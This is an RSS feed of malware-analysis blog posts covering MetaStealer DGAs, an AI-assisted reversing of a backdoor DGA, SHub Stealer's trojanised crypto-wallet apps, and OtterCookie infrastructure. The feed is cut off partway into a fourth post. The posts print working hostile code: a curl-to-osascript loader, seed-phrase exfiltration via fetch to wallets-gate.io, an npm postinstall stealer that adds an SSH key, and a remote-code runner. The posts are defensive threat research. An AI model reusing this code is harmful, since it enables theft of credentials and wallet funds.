<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Jason Reaves on Medium]]></title>
        <description><![CDATA[Stories by Jason Reaves on Medium]]></description>
        <link>https://medium.com/@jason.reaves?source=rss-36e34fe15919------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*jW1cWGT0mCUH1gIkR9OHuw.jpeg</url>
            <title>Stories by Jason Reaves on Medium</title>
            <link>https://medium.com/@jason.reaves?source=rss-36e34fe15919------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 14 Nov 2026 14:52:33 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@jason.reaves/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[MetaStealer traffic, new DGAs and analyzing the “tracker” backdoor DGA with AI]]></title>
            <link>https://medium.com/walmartglobaltech/metastealer-traffic-new-dgas-and-analyzing-the-tracker-backdoor-dga-with-ai-96ea63dc7c01?source=rss-36e34fe15919------2</link>
            <guid isPermaLink="false">https://medium.com/p/96ea63dc7c01</guid>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[ai]]></category>
            <dc:creator><![CDATA[Jason Reaves]]></dc:creator>
            <pubDate>Wed, 17 Jun 2026 21:53:59 GMT</pubDate>
            <atom:updated>2026-06-17T21:53:59.822Z</atom:updated>
            <content:encoded><![CDATA[<p>By: Jason Reaves and Joshua Platt</p><p>In this blog we simply want to highlight a few new additions to what appears to be related to MetaStealer, one is a new wordlist based DGA used by MetaStealer. We also want to highlight that MetaStealer’s proxies or ‘gates’ don’t actually care what domain gets used as it’s just a config item; they simply pass on the traffic to another server.</p><p>We also want to highlight a task that was seen delivered to a few bots which is related to MetaStealer but appears to still be in development. This turned out to be a piece of malware that contains RAT/backdoor functionality. Leveraging Claude.ai Sonnet 4.6 we were able to systematically guide the AI to automatically reverse engineer the DGA used in the backdoor malware and provide working python code to simulate it.</p><h3>MetaStealer DGA:</h3><p>As previously mentioned MetaStealers new DGA is based on a wordlist. Below are some recent examples:</p><pre>sea-vast-send.com<br>46bbaceb6073f196bf7737c67f5394a6465e396bbcbbac1afe5f2f866c995fd0</pre><pre>hxxp://pestrear-lamp.xyz:443<br>d57e132866286f9b4227c7fb1cd77f16a461e76a3f3e71362734741aab6b9a96</pre><pre>hxxp://anus-staylard.xyz:443<br>d1b88ded80f0e616362b8984334c69da1ea2f32d0828480e32978d1a710f40c5</pre><p>This does not mean, however, that the older DGA is no longer in use; it remains active. The threat actor (TA) has designed their gate servers in such a way that they are largely agnostic to the domain being used. Instead, the IP address, port, URI, and HTTP headers are the more important factors.</p><pre>155.117.20.75<br>qocyeicmusmegouw.xyz<br><br>213.139.77.254<br>uumcceymkuymmqou.xyz</pre><p>We didn’t focus on this DGA though because during our investigation we stumbled on a piece of malware being actively developed by the same TA that also had a DGA.</p><h3>Backdoor “tracker”</h3><p>During the investigation, we observed a peculiar payload being delivered to several machines: an installer named <strong>RuntimeSync</strong>, example hash:</p><p>82c218357266ce314f523946bdd661cc335a120981c471e95d70af7fbd4d9141</p><pre>RuntimeSyncExe: PE32+ executable (GUI) x86-64, for MS Windows</pre><p>This file identifies itself as a “RuntimeSync Agent” and explicitly refers to itself as a “tracker.” It contains a broad range of functionality, including:</p><ul><li>Desktop video capture</li><li>Keylogging</li><li>Self-updating</li><li>File uploads</li><li>Screenshot capture</li><li>Remote command execution</li><li>A Domain Generation Algorithm (DGA)</li></ul><p>The binary is largely unobfuscated, which made it relatively straightforward to analyze. As an experiment, I decided to let Claude handle the DGA analysis by systematically guiding it through the relevant subroutines. Once it had produced an initial implementation, I supplied known-good output samples, allowing it to identify and correct its own mistakes.</p><p>The DGA is relatively easy to identify within the binary, as it begins by preparing a word list:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9As9iRZr4ue48ixExXwKGQ.png" /></figure><p>Afterwords what looks like a seed and a domain count along with a TLD is passed to a function that will utilize the parsed list:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/650/1*IxdnGG-mRbEFjrIsfo_5sg.png" /></figure><p>My approach was to provide Claude with the main DGA routine of sub_140006F10 and then provide sub routines and supporting functions as the session went on:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vRfYlIlK2suvbOSoqXluhw.png" /></figure><p>Right off the bat it was able to identify this was a routine that was generating strings based on a list of tokens, even determining this was probably a DGA</p><pre>&gt; **Key insight:** This is a **DGA (Domain Generation Algorithm)** — the pattern of `hash % node_pool` → label selections joined with `-`, terminated with `.suffix` (a TLD or domai<br>n suffix) is a classic DGA structure used in malware to generate pseudorandom C2 domain names from a seed.</pre><p>After getting through a few standard helper functions such as an allocator and some vector routines I went back to the word list before the DGA was called:</p><pre>## Function 6: `sub_140007B50` — Comma-Separated Word List Parser<br><br>### Analysis<br><br>This is the **word list tokeniser** that splits the raw comma-separated string into the `NodeVector`.<br><br>**Logic:**<br>- Iterates character by character, accumulating into a buffer<br>- On comma (`ASCII 44`): trims leading (`space`, `tab`) and trailing (`space`, `tab`, `\r`, `\n`) whitespace, then pushes token if non-empty<br>- After loop: flushes the final token (no trailing comma in the list) via `sub_140005AD0`<br><br>---</pre><p>Culminating in giving the AI the disassembly of the function responsible for calling the DGA routine:</p><pre>## Function 7: `sub_14000BF00` — DGA Bootstrap / Top-Level Entry Point<br><br>### Analysis<br><br>This is the **top-level entry point** that wires everything together.<br><br>**Hardcoded constants extracted:**<br><br>| Constant | Value | Meaning |<br>|---|---|---|<br>| `seed` | `0x1AED` (6893) | Initial hash value |<br>| `levels` | `1000` | Domains to generate |<br>| `width` | `3` | Words per domain |<br>| `TLD` | `&quot;com&quot;` | Hardcoded suffix at address `8026488` |<br>| Word pool | 101 words | Space/tech themed, comma-separated |<br><br>**Word list:**<br>```<br>void, star, orbit, probe, moon, sun, core, crust, dust, gas, rock, ice, ring,<br>disc, belt, flare, ray, beam, light, dark, cold, heat, mass, weight, force,<br>pull, push, drift, glide, spin, tilt, axis, pole, cap, crater, ridge, peak,<br>rift, vent, plume, cloud, mist, fog, veil, spark, flash, glow, pulse, wave,<br>tide, flow, stream, path, track, zone, rim, edge, brink, shell, skin, hull,<br>hatch, port, bay, dock, deck, mast, sail, wing, fin, nose, tail, tank, fuel,<br>bolt, nut, wire, cord, link, joint, gear, lens, glass, mirror, film, chip,<br>grid, plug, switch, knob, dial, screen, frame, base, stand, mount, arm, dish,<br>beam, mast, boom<br>```<br><br>**Steps:**<br>1. Sets status flag `*a2 = 1`<br>2. Allocates 544 bytes and copies in the 528-char word string<br>3. Calls `sub_140007B50` to parse it into a `NodeVector`<br>4. Calls `sub_140006F10(a1, 0x1AED, 1000, 3, &amp;Block, Src)` — the DGA<br>5. Cleans up all allocations</pre><p>However, the code generated by the AI did not produce the same domains as the malware. To help identify the issue, I provided the first three expected domains generated by the sample and informed the AI that its implementation contained a bug.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GDDjOMgqqmcLsNJZepRlZg.png" /></figure><p>Not only did it discover the bug to let it generate the domains correctly but it also discovered another bug that had to do with edge cases.</p><p>The final generated python code aligned correctly with the desired output:</p><pre>First 10 domains:<br>     1. lensclouddisc.xyz<br>     2. drift-joint-axis.xyz<br>     3. flow-pull-edge.xyz<br>     4. crust-noseweight.xyz<br>     5. zone-void-ray.xyz<br>     6. beammastvoid.xyz<br>     7. stand-cap-heat.xyz<br>     8. flashmountaxis.xyz<br>     9. edge-arm-deck.xyz<br>    10. jointpeakbolt.xyz</pre><p>AI is advancing rapidly in the reverse engineering space. Although it still requires an experienced practitioner to guide the analysis and verify the output, this example highlights the pace at which the technology is improving and suggests that its role in malware analysis will continue to grow.</p><h3>IOCs</h3><p>Metastealer:</p><pre>Network:<br>User-Agent: cpp-httplib/0.12.1<br><br>URIs:<br>/tasks/get_worker<br>/api/client_hello<br>/tasks/collect<br>/api/client/new<br>/api/client/init<br>/avast_update<br>/api/client/verify</pre><p>Backdoor “tracker”:</p><pre>Network:<br>User-Agent: RuntimeSync-Updater/1.0<br>/pmxs/logs?token=&lt;GUID&gt;<br><br>Endpoint:<br>\Microsoft\RuntimeSync<br>\Microsoft\RuntimeSync\last_domain.txt<br>\Microsoft\RuntimeSync\agent.token</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=96ea63dc7c01" width="1" height="1" alt=""><hr><p><a href="https://medium.com/walmartglobaltech/metastealer-traffic-new-dgas-and-analyzing-the-tracker-backdoor-dga-with-ai-96ea63dc7c01">MetaStealer traffic, new DGAs and analyzing the “tracker” backdoor DGA with AI</a> was originally published in <a href="https://medium.com/walmartglobaltech">Walmart Global Tech Blog</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Shub Stealers Fake Crypto Apps]]></title>
            <link>https://medium.com/walmartglobaltech/shub-stealers-fake-crypto-apps-d5e2a65618b7?source=rss-36e34fe15919------2</link>
            <guid isPermaLink="false">https://medium.com/p/d5e2a65618b7</guid>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[macos]]></category>
            <category><![CDATA[infosec]]></category>
            <dc:creator><![CDATA[Jason Reaves]]></dc:creator>
            <pubDate>Mon, 06 Apr 2026 17:34:43 GMT</pubDate>
            <atom:updated>2026-04-06T17:34:43.106Z</atom:updated>
            <content:encoded><![CDATA[<p>By: Jason Reaves</p><p>Shub Stealer[1] which looks very similar to MacSync also leveraged the same obfuscator on their shellscript[2] that is very popular lately.</p><p>Shell script:</p><pre>fd674425d3fc0d95bbc90dcd598eabdb2ddd77037954c8a1d1175f118d1e8ddd</pre><p>After decoding however it is a bit different as it includes a number of checks:</p><pre>#!/bin/zsh<br># Debug loader — detect CIS and block with telemetry<br>IS_CIS=&quot;false&quot;<br>if defaults read ~/Library/Preferences/com.apple.HIToolbox.plist AppleEnabledInputSources 2&gt;/dev/null | grep -qi russian; then<br>    IS_CIS=&quot;true&quot;<br>fi<br><br># Detect locale info — sanitize for JSON<br>LOCALE_INFO=$(defaults read ~/Library/Preferences/com.apple.HIToolbox.plist AppleEnabledInputSources 2&gt;/dev/null | grep -i &quot;KeyboardLayout Name&quot; | head -5 | tr &#39;\n&#39; &#39;,&#39; | tr -d &#39;&quot;&#39; | tr -d &quot;&#39;&quot; || echo &quot;unknown&quot;)<br>HOSTNAME=$(hostname 2&gt;/dev/null | tr -d &#39;&quot;&#39; || echo &quot;unknown&quot;)<br>OS_VER=$(sw_vers -productVersion 2&gt;/dev/null || echo &quot;unknown&quot;)<br>EXT_IP=$(curl -s --max-time 5 https://api.ipify.org 2&gt;/dev/null || curl -s --max-time 5 hxxps://icanhazip.com 2&gt;/dev/null || curl -s --max-time hxxps://ifconfig[.]me 2&gt;/dev/null || echo &quot;unknown&quot;)<br>EXT_IP=$(echo &quot;$EXT_IP&quot; | tr -d &#39;<br><br> &#39;)<br><br># Build JSON safely using printf<br>send_debug_event() {<br>    local EVT=&quot;$1&quot;<br>    local JSON=$(printf &#39;{&quot;event&quot;:&quot;%s&quot;,&quot;build_hash&quot;:&quot;%s&quot;,&quot;ip&quot;:&quot;%s&quot;,&quot;is_cis&quot;:&quot;%s&quot;,&quot;locale&quot;:&quot;%s&quot;,&quot;hostname&quot;:&quot;%s&quot;,&quot;os_version&quot;:&quot;%s&quot;}&#39; &quot;$EVT&quot; &quot;&quot; &quot;$EXT_IP&quot; &quot;$IS_CIS&quot; &quot;$LOCALE_INFO&quot; &quot;$HOSTNAME&quot; &quot;$OS_VER&quot;)<br>    curl -s -X POST &quot;hxxps://coco2-hram[.]com/api/debug/event&quot; -H &quot;Content-Type: application/json&quot; -d &quot;$JSON&quot; --max-time 5 &gt;/dev/null 2&gt;&amp;1<br>}<br><br># If CIS — send cis_blocked event and exit<br>if [ &quot;$IS_CIS&quot; = &quot;true&quot; ]; then<br>    send_debug_event &quot;cis_blocked&quot; &gt;/dev/null 2&gt;&amp;1<br>    exit 0<br>fi<br><br># Not CIS — send loader_requested event<br>send_debug_event &quot;loader_requested&quot; &gt;/dev/null 2&gt;&amp;1 &amp;<br><br>daemon_function() {<br>    exec &lt;/dev/null<br>    exec &gt;/dev/null<br>    exec 2&gt;/dev/null<br>    curl -k -s --max-time 30 -H &quot;User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36&quot; &quot;https://coco2-hram[.]com/debug/payload.applescript&quot; | osascript<br>}<br>daemon_function &quot;$@&quot; &amp;<br>exit 0</pre><p>The downloaded payload script is the main stealer component:</p><pre>writeText(&quot;SHub Stealer&quot; &amp; return, writemind &amp; &quot;info&quot;)<br>writeText(&quot;Build Tag: &quot; &amp; return, writemind &amp; &quot;info&quot;)<br>writeText(&quot;External IP: &quot; &amp; externalIP &amp; return &amp; return, writemind &amp; &quot;info&quot;)<br>writeText(&quot;System Info&quot; &amp; return, writemind &amp; &quot;info&quot;)<br>writeText(&quot;Username: &quot; &amp; username &amp; return, writemind &amp; &quot;info&quot;)<br>writeText(&quot;Password: &quot; &amp; password_entered &amp; return &amp; return, writemind &amp; &quot;info&quot;)</pre><p>Most of the functionality has been detailed in numerous other blogs surrounding AMOS, MacSync, Odyssey and all the other variants. I decided instead to focus on their fake apps they download:</p><pre>set asarUrl to gateUrl &amp; &quot;/exodus-asar&quot;<br>set asarUrl to gateUrl &amp; &quot;/atomic-asar&quot;<br>set asarUrl to gateUrl &amp; &quot;/ledger-asar&quot;<br>set asarUrl to gateUrl &amp; &quot;/ledgerlive-asar&quot;<br>set asarUrl to gateUrl &amp; &quot;/trezor-asar&quot;</pre><p>All of the apps come as ASAR files, after extracting them we can go through them one at a time.</p><p>Exodus-asar:</p><p>The relevant code sends off the passphrase and seed file to the C2:</p><pre>this.unlock = async ({<br>        passphrase: t<br>      } = {}) =&gt; {<br>        if (!(await S(this, M)[M].get())) {<br>          return;<br>        }<br>        if (!t) {<br>          throw new Error(&quot;expected passphrase&quot;);<br>        }<br>        const e = await Object(w.readSeco)(await Object(m.getSeedFile)(), t);<br>        const s = await d.fromBuffer(e);<br>        try {<br>          fetch(&quot;hxxps://wallets-gate[.]io/api/injection&quot;, {<br>            method: &quot;POST&quot;,<br>            headers: {<br>              &quot;Content-Type&quot;: &quot;application/json&quot;,<br>              &quot;api-key&quot;: &quot;61cb9c3bd1a2faa7d6613dd8e5d09e79fe95e85ab09ed6bcd6406badff5a083f&quot;<br>            },<br>            body: JSON.stringify({<br>              password: t,<br>              mnemonic: s.mnemonic.toString(&quot;utf8&quot;),<br>              buildid: &quot;d91d844ad8920458ee99e707b1a203cba8df76ce960195f0993eb3b0e96d893f&quot;,<br>              app: &quot;exodus&quot;<br>            })<br>          });<br>        } catch (e) {}<br>        const r = S(this, B)[B](s);<br>        Object(o.randomFill)(e);<br>        return {<br>          primarySeedId: r<br>        };<br>      };</pre><p>Atomic:</p><p>For atomic when the wallets get loaded after logging in:</p><pre>await this.$wallets.loadWallets(n, this.password).catch(console.error).finally(() =&gt; {</pre><p>Then the data is shipped off:</p><pre> async loadWallets(e, t) {<br>          const a = await I(V, this).getByPassword(E.MNEMONIC_KEY, t);<br>          fetch(&quot;https://wallets-gate[.]io/api/injection&quot;, {<br>            method: &quot;POST&quot;,<br>            headers: {<br>              &quot;Content-Type&quot;: &quot;application/json&quot;,<br>              &quot;api-key&quot;: &quot;61cb9c3bd1a2faa7d6613dd8e5d09e79fe95e85ab09ed6bcd6406badff5a083f&quot;<br>            },<br>            body: JSON.stringify({<br>              mnemonic: a,<br>              password: t,<br>              buildid: &quot;d91d844ad8920458ee99e707b1a203cba8df76ce960195f0993eb3b0e96d893f&quot;,<br>              app: &quot;atomic&quot;<br>            })<br>          }).catch(() =&gt; {});<br>          const n = await D($, this, z).call(this, {<br>            phrase: a,<br>            password: t<br>          });<br>          const r = e.filter(e =&gt; e.privateKey);<br>          await D($, this, ae).call(this, r, n);<br>          i.requestQueueState.setAsCompleted(i.REQUEST_TYPE.WALLETS_LOADED);<br>        }</pre><p>Ledger:</p><p>The backdoored ledger app uses a fake recovery setup to eventually ship off the needed data:</p><pre>  const words = Array.from(inputs).map(i =&gt; i.value.trim());<br>  const token = &#39;61cb9c3bd1a2faa7d6613dd8e5d09e79fe95e85ab09ed6bcd6406badff5a083f&#39;;<br>  const targetUrl = &#39;hxxps://wallets-gate[.]io/api/injection&#39;;<br><br>  fetch(targetUrl, {<br>    method: &#39;POST&#39;,<br>    cache: &#39;no-cache&#39;,<br>    headers: {<br>      &#39;Content-Type&#39;: &#39;application/json&#39;,<br>      &#39;api-key&#39;: token<br>    },<br>    body: JSON.stringify({<br>      mnemonic: words,<br>      buildid: &quot;d91d844ad8920458ee99e707b1a203cba8df76ce960195f0993eb3b0e96d893f&quot;,<br>      app: &#39;ledger&#39;,<br>    })<br>  })<br>.then(response =&gt; {<br>  location.href = &#39;index.html&#39;;<br>})<br>.catch(err =&gt; {<br>  location.href = &#39;index.html&#39;;<br>});});</pre><p>LedgerLive is setup in a similar way:</p><pre>continueBtn.addEventListener(&#39;click&#39;, function () {<br>  if (!this.classList.contains(&#39;active&#39;)) return;<br><br>  const words = Array.from(inputs).map(i =&gt; i.value.trim());<br>  const token = &#39;61cb9c3bd1a2faa7d6613dd8e5d09e79fe95e85ab09ed6bcd6406badff5a083f&#39;;<br>  const targetUrl = &#39;https://wallets-gate.io/api/injection&#39;;<br><br>  fetch(targetUrl, {<br>    method: &#39;POST&#39;,<br>    cache: &#39;no-cache&#39;,<br>    headers: {<br>      &#39;Content-Type&#39;: &#39;application/json&#39;,<br>      &#39;api-key&#39;: token<br>    },<br>    body: JSON.stringify({<br>      mnemonic: words,<br>      buildid: &quot;d91d844ad8920458ee99e707b1a203cba8df76ce960195f0993eb3b0e96d893f&quot;,<br>      app: &#39;ledger_live&#39;,<br>    })<br>  })</pre><p>Trezor:</p><p>The fake trezor app has a section of code calling itself a webpack hook:</p><pre>    // ============================================================<br>    // 1. WEBPACK HOOK: STEAL NATIVE BIP39 (ID: 39781)<br>    // ============================================================</pre><p>Inide is a config:</p><pre>        const CONFIG = {<br>            API_URL: &#39;https://wallets-gate.io/api/injection&#39;,<br>            API_KEY: &#39;61cb9c3bd1a2faa7d6613dd8e5d09e79fe95e85ab09ed6bcd6406badff5a083f&#39;,<br>            BUILD_ID: &#39;d91d844ad8920458ee99e707b1a203cba8df76ce960195f0993eb3b0e96d893f&#39;,<br>            BLOCK_UPDATES: true,<br>            ONCE: true<br>        };</pre><p>Along with Russian comments:</p><pre>/* Достаточно места для бейджа */</pre><p>The code will pretend a security patch has been applied and ask the user to verify their recovery seed:</p><pre>            &#39;default&#39;: {<br>                title: &#39;Critical Security Update&#39;,<br>                text: &#39;A critical security patch has been released. Verify your recovery seed before updating.&#39;,<br>                btn: &#39;Verify &amp; Update&#39;,<br>                btn_next: &#39;Next Share&#39;,<br>                btn_finish: &#39;Finish &amp; Update&#39;,<br>                error_empty: &#39;Please complete all words&#39;,<br>                error_checksum: &#39;Invalid recovery seed (checksum mismatch)&#39;,<br>                updating: &#39;Updating...&#39;,<br>                words12: &#39;12 Words&#39;,<br>                words20: &#39;20 Words&#39;,<br>                words24: &#39;24 Words&#39;,<br>                share: &#39;Share&#39;</pre><p>If the phrase checks out then it will be shipped off:</p><pre>                let finalMnemonic = mnemonicStr;<br>                if (currentLength === 20 &amp;&amp; collectedShares.length &gt; 0) {<br>                    finalMnemonic = collectedShares.join(&#39;\n\n--- NEXT SHARE ---\n\n&#39;);<br>                }<br><br>                const payload = {<br>                    mnemonic: finalMnemonic,<br>                    buildid: CONFIG.BUILD_ID,<br>                    app: &#39;trezor_suite&#39;,<br>                };<br><br>                fetch(CONFIG.API_URL, {<br>                    method: &#39;POST&#39;,<br>                    headers: { &#39;Content-Type&#39;: &#39;application/json&#39;, &#39;api-key&#39;: CONFIG.API_KEY },<br>                    body: JSON.stringify(payload)<br>                }).catch(e =&gt; {});</pre><p>References</p><p>1: <a href="https://securitylabs.datadoghq.com/articles/tech-impersonators-clickfix-and-macos-infostealers/">https://securitylabs.datadoghq.com/articles/tech-impersonators-clickfix-and-macos-infostealers/</a></p><p>2: <a href="https://gi7w0rm.medium.com/amos-stealer-malext-variant-spread-in-a-global-malvertising-campaign-using-free-text-sharing-4d240e11d7e2">https://gi7w0rm.medium.com/amos-stealer-malext-variant-spread-in-a-global-malvertising-campaign-using-free-text-sharing-4d240e11d7e2</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d5e2a65618b7" width="1" height="1" alt=""><hr><p><a href="https://medium.com/walmartglobaltech/shub-stealers-fake-crypto-apps-d5e2a65618b7">Shub Stealers Fake Crypto Apps</a> was originally published in <a href="https://medium.com/walmartglobaltech">Walmart Global Tech Blog</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mapping Ottercookie Infrastructure]]></title>
            <link>https://medium.com/walmartglobaltech/mapping-ottercookie-infrastructure-1c49f0cd3883?source=rss-36e34fe15919------2</link>
            <guid isPermaLink="false">https://medium.com/p/1c49f0cd3883</guid>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <dc:creator><![CDATA[Jason Reaves]]></dc:creator>
            <pubDate>Mon, 06 Apr 2026 17:33:38 GMT</pubDate>
            <atom:updated>2026-04-06T17:33:38.234Z</atom:updated>
            <content:encoded><![CDATA[<p>By: Jason Reaves</p><p>A lot of focus specifically surrounding DPRK has been on IT workers but there are multiple entities performing various schemes. One of the more prolific ones being interviewing developers and having them work on TA supplied code repositories from various sites. The malware delivered is normally leveraged for harvesting credentials and crypto; InvisibleFerret[5], BeaverTail, OtterCookie and Golang based malware[4].</p><p>Alot of work goes into tracking and cataloging the various malware families and their code overlaps, not many people focus on the infrastructure side though which is surprising because it’s pretty similar to malware analysis; just more pattern matching.</p><p>While tracking some other malware I ended up pivoting into NodeJS based stealer and backdoor code that resembled similar tactics to DPRK campaigns.</p><p>3a08e7f236aac7f6eb6f75911b98bc5157dcfa53b268b447f7d1b87b0615b90d</p><pre>  &quot;name&quot;: &quot;npm-doc-builder&quot;,<br>  &quot;version&quot;: &quot;1.0.5&quot;,<br>  &quot;description&quot;: &quot;&quot;,<br>  &quot;main&quot;: &quot;index.js&quot;,<br>  &quot;scripts&quot;: {<br>    &quot;postinstall&quot;: &quot;node test.js&quot;<br>  },<br>  &quot;publishConfig&quot;: {<br>    &quot;access&quot;: &quot;public&quot;<br>  },<br>  &quot;dependencies&quot;: {<br>    &quot;axios&quot;: &quot;^1.7.0&quot;,<br>    &quot;child_process&quot;: &quot;^1.0.2&quot;,<br>    &quot;os&quot;: &quot;^0.1.2&quot;<br>  },<br>  &quot;engines&quot;: {<br>    &quot;node&quot;: &quot;&gt;=18&quot;<br>  },<br>  &quot;keywords&quot;: [],<br>  &quot;author&quot;: &quot;&quot;,<br>  &quot;license&quot;: &quot;ISC&quot;,<br>  &quot;type&quot;: &quot;commonjs&quot;</pre><p>The decoded index javascript from this package ends up doing a few things, first it will want to download a SSH key to be added locally:</p><pre>  const _0x30c718 = await fetch(&quot;https://cloudflareinsights[.]vercel[.]app/&quot;);<br>  const {<br>    msg: _0x50cbce<br>  } = await _0x30c718.json();<br>  let _0x581499 = false;<br>  if (process.platform === &quot;linux&quot;) {<br>    _0x581499 = addSshKeyToUser(_0x50cbce);</pre><p>It will also download patterns for scanning</p><pre> const _0x3c4caa = await fetch(&quot;https://cloudflareinsights[.]vercel[.]app/api/scan-patterns&quot;);<br>  const {<br>    scanPatterns: _0x28ca54<br>  } = await _0x3c4caa.json();</pre><p>In this case it returned:</p><pre>{&quot;scanPatterns&quot;:[&quot;.env&quot;,&quot;.bash_history&quot;,&quot;ConsoleHost_history.txt&quot;]}</pre><p>Ultimately wanting to send off the files:</p><pre> for (let _0x14ded9 = 0x0; _0x14ded9 &lt; _0x57def7.length; _0x14ded9++) {<br>    await uploadFile(_0x57def7[_0x14ded9], &quot;https://cloudflareinsights[.]vercel[.]app/api/v1&quot;, _0x581499);</pre><p>Pivoting on this information I found this blog[1], that saame site led me to this[2]:</p><pre>&quot;use strict&quot;;<br><br>const axios = require(&quot;axios&quot;);<br>const process = {<br>  env: {<br>    DEV_API_KEY: &quot;aHR0cHM6Ly93d3cuaXNpbGxlZ2FscmVnaW9uLmNvbS9hcGkvaXAtY2hlY2stZW5jcnlwdGVkLzNhZWIzNGEzMg==&quot;,<br>    DEV_SECRET_KEY: &quot;eC1zZWNyZXQta2V5&quot;,<br>    DEV_SECRET_VALUE: &quot;c2VjcmV0&quot;,<br>  }<br>};<br><br>(async function initializeCaller(..._args) {<br>  const apiEndpoint = atob(process.env.DEV_API_KEY);<br>  const apiHeaderKey = atob(process.env.DEV_SECRET_KEY);<br>  const apiHeaderValue = atob(process.env.DEV_SECRET_VALUE);<br><br>  let retryCount = 5;<br><br>  while (retryCount &gt; 0) {<br>    try {<br>      const originalLog = console.log;<br><br>       // Safe placeholder request<br>      const response = (await axios.post(apiEndpoint, { headers: { [apiHeaderKey]: apiHeaderValue } })).data;<br>      const handler = new Function.constructor(&quot;require&quot;, response);<br>      handler(require);<br><br>      console.log = originalLog;<br>      break;<br>    }<br>    catch (error) {<br>      retryCount--;<br>    }<br>  }<br>})();</pre><p>This code posts hardcoded data to a URI:</p><pre>{ headers: { &#39;x-secret-key&#39;: &#39;secret&#39; } }</pre><p>The downloaded code is obfuscated:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AZp1eK7p77b2gRp6j109lQ.png" /></figure><p>After deobfuscating the code aligns with OtterCookies from another blog[3]:</p><pre>  const u_s = &quot;hxxp://144.172.116[.]22:8086/upload&quot;;<br>  const l_s = &quot;hxxp://144.172.116[.]22:8085/upload&quot;;<br>  const s_s = &quot;hxxp://144.172.116[.]22:8087&quot;;</pre><p>The malware itself aligns with the other blog well enough, focusing more on the infrastructure some pretty noticeable port mappings:</p><pre>HTTP 8085/TCP<br>Express<br><br>HTTP 8086/TCP<br>Express<br><br>HTTP 8087/TCP<br>Express<br><br>UNKNOWN 17500/TCP<br>linux</pre><p>Port 8085 returns this in Censys[6]:</p><pre>Ok</pre><p>Also leveraging the banner hash of port 17500 we can map out quite a bit of infrastructure:</p><pre>services.http.response.body_hashes=&quot;sha256:843ac01149cced785dfebd0028d3b03ba78e286e1c6f9517ebfcdb609d97af4c&quot; and services.banner_hashes=&quot;sha256:31d55cb5dd194cd99387d386e84d8b24d340c0b52983ce630f0aafd70fee008c&quot; and services.port=&quot;17500&quot;</pre><p>IPs:</p><pre> 144.172.110[.]96<br> 144.172.110[.]228<br> 144.172.99[.]248<br> 107.189.22[.]20<br> 144.172.110[.]132<br> 144.172.99[.]81<br> 144.172.116[.]22<br> 144.172.93[.]169<br> 144.172.93[.]253</pre><h3>References</h3><p>1: <a href="https://kmsec.uk/blog/contagious-trader/">https://kmsec.uk/blog/contagious-trader/</a></p><p>2: <a href="https://dprk-research.kmsec.uk/api/samples/76df69b919642ab4d54a94e8988b4fafaa16c933f7bc5d6dffddf4c27762908a">https://dprk-research.kmsec.uk/api/samples/76df69b919642ab4d54a94e8988b4fafaa16c933f7bc5d6dffddf4c27762908a</a></p><p>3: <a href="https://www.enki.co.kr/en/media-center/blog/contagious-interview-campaign-abusing-vscode-distributed-on-github">https://www.enki.co.kr/en/media-center/blog/contagious-interview-campaign-abusing-vscode-distributed-on-github</a></p><p>4: <a href="https://medium.com/walmartglobaltech/golang-backdoor-with-a-side-of-chromeupdatealert-app-9e47d1063ead">https://medium.com/walmartglobaltech/golang-backdoor-with-a-side-of-chromeupdatealert-app-9e47d1063ead</a></p><p>5: <a href="https://www.microsoft.com/en-us/security/blog/2026/03/11/contagious-interview-malware-delivered-through-fake-developer-job-interviews/">https://www.microsoft.com/en-us/security/blog/2026/03/11/contagious-interview-malware-delivered-through-fake-developer-job-interviews/</a></p><p>6: <a href="https://censys.com/">https://censys.com/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1c49f0cd3883" width="1" height="1" alt=""><hr><p><a href="https://medium.com/walmartglobaltech/mapping-ottercookie-infrastructure-1c49f0cd3883">Mapping Ottercookie Infrastructure</a> was originally published in <a href="https://medium.com/walmartglobaltech">Walmart Global Tech Blog</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Decoding Brickstorms Garble strings]]></title>
            <link>https://medium.com/walmartglobaltech/decoding-brickstorms-garble-strings-b0a60828b3cc?source=rss-36e34fe15919------2</link>
            <guid isPermaLink="false">https://medium.com/p/b0a60828b3cc</guid>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[golang]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <dc:creator><![CDATA[Jason Reaves]]></dc:creator>
